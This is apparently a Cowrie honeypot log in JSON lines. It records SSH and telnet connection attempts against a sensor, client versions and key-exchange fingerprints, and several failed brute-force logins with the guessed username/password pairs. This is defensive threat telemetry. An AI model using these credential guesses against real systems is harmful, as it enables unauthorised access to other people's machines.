{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":47004,"dst_ip":"10.17.0.5","dst_port":23,"session":"020ced61367d","protocol":"telnet","message":"New connection: 137.184.155.248:47004 (10.17.0.5:23) [session: 020ced61367d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:49:05.673986Z"}
{"eventid":"cowrie.session.connect","src_ip":"148.230.169.229","src_port":38502,"dst_ip":"10.17.0.5","dst_port":22,"session":"acd4d411302d","protocol":"ssh","message":"New connection: 148.230.169.229:38502 (10.17.0.5:22) [session: acd4d411302d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:49:16.095680Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:49:16.564693Z","src_ip":"148.230.169.229","session":"acd4d411302d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:49:16.626796Z","src_ip":"148.230.169.229","session":"acd4d411302d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin159","message":"login attempt [root/admin159] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:49:16.924116Z","src_ip":"148.230.169.229","session":"acd4d411302d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:49:17.992729Z","src_ip":"148.230.169.229","session":"acd4d411302d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":49.695159673690796,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:49:23.271266Z","src_ip":"137.184.155.248","session":"02b905361ab5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":58124,"dst_ip":"10.17.0.5","dst_port":23,"session":"93d681648150","protocol":"telnet","message":"New connection: 137.184.155.248:58124 (10.17.0.5:23) [session: 93d681648150]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:49:29.286301Z"}
{"eventid":"cowrie.session.connect","src_ip":"112.151.178.49","src_port":48122,"dst_ip":"10.17.0.5","dst_port":22,"session":"228cb94780c4","protocol":"ssh","message":"New connection: 112.151.178.49:48122 (10.17.0.5:22) [session: 228cb94780c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:49:37.120650Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:49:37.125350Z","src_ip":"112.151.178.49","session":"228cb94780c4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:49:37.337008Z","src_ip":"112.151.178.49","session":"228cb94780c4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"unifiadmin","password":"unifiadmin","message":"login attempt [unifiadmin/unifiadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:49:38.211638Z","src_ip":"112.151.178.49","session":"228cb94780c4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":52194,"dst_ip":"10.17.0.5","dst_port":23,"session":"ce68bf88bac0","protocol":"telnet","message":"New connection: 137.184.155.248:52194 (10.17.0.5:23) [session: ce68bf88bac0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:49:39.086112Z"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:49:39.424133Z","src_ip":"112.151.178.49","session":"228cb94780c4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"65.49.1.13","src_port":25787,"dst_ip":"10.17.0.5","dst_port":22,"session":"1e6140d7a81e","protocol":"ssh","message":"New connection: 65.49.1.13:25787 (10.17.0.5:22) [session: 1e6140d7a81e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:49:40.470069Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:49:40.474863Z","src_ip":"65.49.1.13","session":"1e6140d7a81e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"7216c7c473918b4f83d1139b3c70dbf9","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,aes128-cbc,3des-cbc,arcfour;hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","aes128-cbc","3des-cbc","arcfour"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 7216c7c473918b4f83d1139b3c70dbf9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:49:40.549471Z","src_ip":"65.49.1.13","session":"1e6140d7a81e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":46.36371064186096,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:49:43.178046Z","src_ip":"137.184.155.248","session":"e883158fafdc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":40382,"dst_ip":"10.17.0.5","dst_port":23,"session":"8f1c07006bbe","protocol":"telnet","message":"New connection: 137.184.155.248:40382 (10.17.0.5:23) [session: 8f1c07006bbe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:49:44.378770Z"}
{"eventid":"cowrie.session.closed","duration":"4.0","message":"Connection lost after 4.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:49:44.470843Z","src_ip":"65.49.1.13","session":"1e6140d7a81e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":46.148932218551636,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:49:51.822756Z","src_ip":"137.184.155.248","session":"020ced61367d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":47474,"dst_ip":"10.17.0.5","dst_port":23,"session":"f16188c01c2a","protocol":"telnet","message":"New connection: 137.184.155.248:47474 (10.17.0.5:23) [session: f16188c01c2a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:50:03.784731Z"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":47486,"dst_ip":"10.17.0.5","dst_port":23,"session":"2c1f288ec3d0","protocol":"telnet","message":"New connection: 137.184.155.248:47486 (10.17.0.5:23) [session: 2c1f288ec3d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:50:04.425830Z"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":39618,"dst_ip":"10.17.0.5","dst_port":23,"session":"11351eadf552","protocol":"telnet","message":"New connection: 137.184.155.248:39618 (10.17.0.5:23) [session: 11351eadf552]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:50:13.009222Z"}
{"eventid":"cowrie.session.closed","duration":44.45371055603027,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:50:13.739878Z","src_ip":"137.184.155.248","session":"93d681648150","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"58.186.20.101","src_port":59948,"dst_ip":"10.17.0.5","dst_port":22,"session":"6954037cded3","protocol":"ssh","message":"New connection: 58.186.20.101:59948 (10.17.0.5:22) [session: 6954037cded3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:50:18.544464Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:50:18.549603Z","src_ip":"58.186.20.101","session":"6954037cded3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:50:18.813649Z","src_ip":"58.186.20.101","session":"6954037cded3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":39632,"dst_ip":"10.17.0.5","dst_port":23,"session":"bbd2991de082","protocol":"telnet","message":"New connection: 137.184.155.248:39632 (10.17.0.5:23) [session: bbd2991de082]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:50:18.958720Z"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"asd123","message":"login attempt [ubuntu/asd123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:50:19.901173Z","src_ip":"58.186.20.101","session":"6954037cded3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:50:21.167020Z","src_ip":"58.186.20.101","session":"6954037cded3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.46650576591492,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:50:23.552511Z","src_ip":"137.184.155.248","session":"ce68bf88bac0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.73362636566162,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:50:30.112282Z","src_ip":"137.184.155.248","session":"8f1c07006bbe","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"112.151.178.49","src_port":60881,"dst_ip":"10.17.0.5","dst_port":22,"session":"097ed1f21383","protocol":"ssh","message":"New connection: 112.151.178.49:60881 (10.17.0.5:22) [session: 097ed1f21383]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:50:30.928529Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:50:30.933265Z","src_ip":"112.151.178.49","session":"097ed1f21383","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:50:31.136072Z","src_ip":"112.151.178.49","session":"097ed1f21383","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"test2020!","message":"login attempt [test/test2020!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:50:31.970392Z","src_ip":"112.151.178.49","session":"097ed1f21383","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:50:33.175162Z","src_ip":"112.151.178.49","session":"097ed1f21383","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":47.55255055427551,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:50:51.337160Z","src_ip":"137.184.155.248","session":"f16188c01c2a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":48.36270093917847,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:50:52.788401Z","src_ip":"137.184.155.248","session":"2c1f288ec3d0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":43482,"dst_ip":"10.17.0.5","dst_port":23,"session":"78de7010edf1","protocol":"telnet","message":"New connection: 137.184.155.248:43482 (10.17.0.5:23) [session: 78de7010edf1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:50:54.942892Z"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":43484,"dst_ip":"10.17.0.5","dst_port":23,"session":"b8deb47cc753","protocol":"telnet","message":"New connection: 137.184.155.248:43484 (10.17.0.5:23) [session: b8deb47cc753]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:50:55.297681Z"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":43500,"dst_ip":"10.17.0.5","dst_port":23,"session":"439f7e621095","protocol":"telnet","message":"New connection: 137.184.155.248:43500 (10.17.0.5:23) [session: 439f7e621095]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:50:55.393906Z"}
{"eventid":"cowrie.session.closed","duration":120.00107002258301,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:51:00.790195Z","src_ip":"189.219.54.254","session":"ece621a074b2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"189.219.54.254","src_port":35958,"dst_ip":"10.17.0.5","dst_port":23,"session":"0d59a95b64c4","protocol":"telnet","message":"New connection: 189.219.54.254:35958 (10.17.0.5:23) [session: 0d59a95b64c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:51:00.942664Z"}
{"eventid":"cowrie.session.closed","duration":120.00091600418091,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:51:01.106238Z","src_ip":"189.219.54.254","session":"1ca1530e1041","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"189.219.54.254","src_port":35974,"dst_ip":"10.17.0.5","dst_port":23,"session":"1dedb0b04bc8","protocol":"telnet","message":"New connection: 189.219.54.254:35974 (10.17.0.5:23) [session: 1dedb0b04bc8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:51:01.302361Z"}
{"eventid":"cowrie.session.closed","duration":48.637316942214966,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:51:01.646457Z","src_ip":"137.184.155.248","session":"11351eadf552","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00145387649536,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:51:01.848558Z","src_ip":"189.219.54.254","session":"9b04c01c050c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"189.219.54.254","src_port":35980,"dst_ip":"10.17.0.5","dst_port":23,"session":"09a317cfaf87","protocol":"telnet","message":"New connection: 189.219.54.254:35980 (10.17.0.5:23) [session: 09a317cfaf87]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:51:02.120584Z"}
{"eventid":"cowrie.session.closed","duration":44.732754707336426,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:51:03.691371Z","src_ip":"137.184.155.248","session":"bbd2991de082","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":37810,"dst_ip":"10.17.0.5","dst_port":23,"session":"1ad14d0fcc17","protocol":"telnet","message":"New connection: 137.184.155.248:37810 (10.17.0.5:23) [session: 1ad14d0fcc17]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:51:05.301303Z"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":53486,"dst_ip":"10.17.0.5","dst_port":23,"session":"844124e902a3","protocol":"telnet","message":"New connection: 137.184.155.248:53486 (10.17.0.5:23) [session: 844124e902a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:51:16.251098Z"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":53502,"dst_ip":"10.17.0.5","dst_port":23,"session":"b922e609cb10","protocol":"telnet","message":"New connection: 137.184.155.248:53502 (10.17.0.5:23) [session: b922e609cb10]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:51:19.787988Z"}
{"eventid":"cowrie.session.connect","src_ip":"112.151.178.49","src_port":8372,"dst_ip":"10.17.0.5","dst_port":22,"session":"5fe6f6f33a5f","protocol":"ssh","message":"New connection: 112.151.178.49:8372 (10.17.0.5:22) [session: 5fe6f6f33a5f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:51:27.238714Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:51:27.243819Z","src_ip":"112.151.178.49","session":"5fe6f6f33a5f","protocol":"ssh"}
